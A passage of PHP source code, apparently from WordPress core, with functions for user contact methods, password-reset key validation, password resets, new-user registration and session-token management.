2032 $methods = array(
2033 'aim' => __( 'AIM' ),
2034 'yim' => __( 'Yahoo IM' ),
2035 'jabber' => __( 'Jabber / Google Talk' )
2036 );
2037 }
2038
2039 /**
2040 * Filter the user contact methods.
2041 *
2042 * @since 2.9.0
2043 *
2044 * @param array $methods Array of contact methods and their labels.
2045 * @param WP_User $user WP_User object.
2046 */
2047 return apply_filters( 'user_contactmethods', $methods, $user );
2048}
2049
2050/**
2051 * The old private function for setting up user contact methods.
2052 *
2053 * @since 2.9.0
2054 * @access private
2055 */
2056function _wp_get_user_contactmethods( $user = null ) {
2057 return wp_get_user_contact_methods( $user );
2058}
2059
2060/**
2061 * Retrieves a user row based on password reset key and login
2062 *
2063 * A key is considered 'expired' if it exactly matches the value of the
2064 * user_activation_key field, rather than being matched after going through the
2065 * hashing process. This field is now hashed; old values are no longer accepted
2066 * but have a different WP_Error code so good user feedback can be provided.
2067 *
2068 * @global wpdb $wpdb WordPress database object for queries.
2069 *
2070 * @param string $key Hash to validate sending user's password.
2071 * @param string $login The user login.
2072 * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
2073 */
2074function check_password_reset_key($key, $login) {
2075 global $wpdb, $wp_hasher;
2076
2077 $key = preg_replace('/[^a-z0-9]/i', '', $key);
2078
2079 if ( empty( $key ) || !is_string( $key ) )
2080 return new WP_Error('invalid_key', __('Invalid key'));
2081
2082 if ( empty($login) || !is_string($login) )
2083 return new WP_Error('invalid_key', __('Invalid key'));
2084
2085 $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
2086 if ( ! $row )
2087 return new WP_Error('invalid_key', __('Invalid key'));
2088
2089 if ( empty( $wp_hasher ) ) {
2090 require_once ABSPATH . WPINC . '/class-phpass.php';
2091 $wp_hasher = new PasswordHash( 8, true );
2092 }
2093
2094 if ( $wp_hasher->CheckPassword( $key, $row->user_activation_key ) )
2095 return get_userdata( $row->ID );
2096
2097 if ( $key === $row->user_activation_key ) {
2098 $return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
2099 $user_id = $row->ID;
2100
2101 /**
2102 * Filter the return value of check_password_reset_key() when an
2103 * old-style key is used (plain-text key was stored in the database).
2104 *
2105 * @since 3.7.0
2106 *
2107 * @param WP_Error $return A WP_Error object denoting an expired key.
2108 * Return a WP_User object to validate the key.
2109 * @param int $user_id The matched user ID.
2110 */
2111 return apply_filters( 'password_reset_key_expired', $return, $user_id );
2112 }
2113
2114 return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
2115}
2116
2117/**
2118 * Handles resetting the user's password.
2119 *
2120 * @param object $user The user
2121 * @param string $new_pass New password for the user in plaintext
2122 */
2123function reset_password( $user, $new_pass ) {
2124 /**
2125 * Fires before the user's password is reset.
2126 *
2127 * @since 1.5.0
2128 *
2129 * @param object $user The user.
2130 * @param string $new_pass New user password.
2131 */
2132 do_action( 'password_reset', $user, $new_pass );
2133
2134 wp_set_password( $new_pass, $user->ID );
2135 update_user_option( $user->ID, 'default_password_nag', false, true );
2136
2137 wp_password_change_notification( $user );
2138}
2139
2140/**
2141 * Handles registering a new user.
2142 *
2143 * @param string $user_login User's username for logging in
2144 * @param string $user_email User's email address to send password and add
2145 * @return int|WP_Error Either user's ID or error on failure.
2146 */
2147function register_new_user( $user_login, $user_email ) {
2148 $errors = new WP_Error();
2149
2150 $sanitized_user_login = sanitize_user( $user_login );
2151 /**
2152 * Filter the email address of a user being registered.
2153 *
2154 * @since 2.1.0
2155 *
2156 * @param string $user_email The email address of the new user.
2157 */
2158 $user_email = apply_filters( 'user_registration_email', $user_email );
2159
2160 // Check the username
2161 if ( $sanitized_user_login == '' ) {
2162 $errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
2163 } elseif ( ! validate_username( $user_login ) ) {
2164 $errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
2165 $sanitized_user_login = '';
2166 } elseif ( username_exists( $sanitized_user_login ) ) {
2167 $errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
2168 }
2169
2170 // Check the e-mail address
2171 if ( $user_email == '' ) {
2172 $errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your e-mail address.' ) );
2173 } elseif ( ! is_email( $user_email ) ) {
2174 $errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn’t correct.' ) );
2175 $user_email = '';
2176 } elseif ( email_exists( $user_email ) ) {
2177 $errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
2178 }
2179
2180 /**
2181 * Fires when submitting registration form data, before the user is created.
2182 *
2183 * @since 2.1.0
2184 *
2185 * @param string $sanitized_user_login The submitted username after being sanitized.
2186 * @param string $user_email The submitted email.
2187 * @param WP_Error $errors Contains any errors with submitted username and email,
2188 * e.g., an empty field, an invalid username or email,
2189 * or an existing username or email.
2190 */
2191 do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
2192
2193 /**
2194 * Filter the errors encountered when a new user is being registered.
2195 *
2196 * The filtered WP_Error object may, for example, contain errors for an invalid
2197 * or existing username or email address. A WP_Error object should always returned,
2198 * but may or may not contain errors.
2199 *
2200 * If any errors are present in $errors, this will abort the user's registration.
2201 *
2202 * @since 2.1.0
2203 *
2204 * @param WP_Error $errors A WP_Error object containing any errors encountered
2205 * during registration.
2206 * @param string $sanitized_user_login User's username after it has been sanitized.
2207 * @param string $user_email User's email.
2208 */
2209 $errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
2210
2211 if ( $errors->get_error_code() )
2212 return $errors;
2213
2214 $user_pass = wp_generate_password( 12, false );
2215 $user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
2216 if ( ! $user_id || is_wp_error( $user_id ) ) {
2217 $errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn’t register you… please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
2218 return $errors;
2219 }
2220
2221 update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
2222
2223 wp_new_user_notification( $user_id, $user_pass );
2224
2225 return $user_id;
2226}
2227
2228/**
2229 * Retrieve the current session token from the logged_in cookie.
2230 *
2231 * @since 4.0.0
2232 *
2233 * @return string Token.
2234 */
2235function wp_get_session_token() {
2236 $cookie = wp_parse_auth_cookie( '', 'logged_in' );
2237 return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
2238}
2239
2240/**
2241 * Retrieve a list of sessions for the current user.
2242 *
2243 * @since 4.0.0
2244 * @return array Array of sessions.
2245 */
2246function wp_get_all_sessions() {
2247 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2248 return $manager->get_all();
2249}
2250
2251/**
2252 * Remove the current session token from the database.
2253 *
2254 * @since 4.0.0
2255 */
2256function wp_destroy_current_session() {
2257 $token = wp_get_session_token();
2258 if ( $token ) {
2259 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2260 $manager->destroy( $token );
2261 }
2262}
2263
2264/**
2265 * Remove all but the current session token for the current user for the database.
2266 *
2267 * @since 4.0.0
2268 */
2269function wp_destroy_other_sessions() {
2270 $token = wp_get_session_token();
2271 if ( $token ) {
2272 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2273 $manager->destroy_others( $token );
2274 }
2275}
2276
2277/**
2278 * Remove all session tokens for the current user from the database.
2279 *
2280 * @since 4.0.0
2281 */
2282function wp_destroy_all_sessions() {
2283 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2284 $manager->destroy_all();
2285}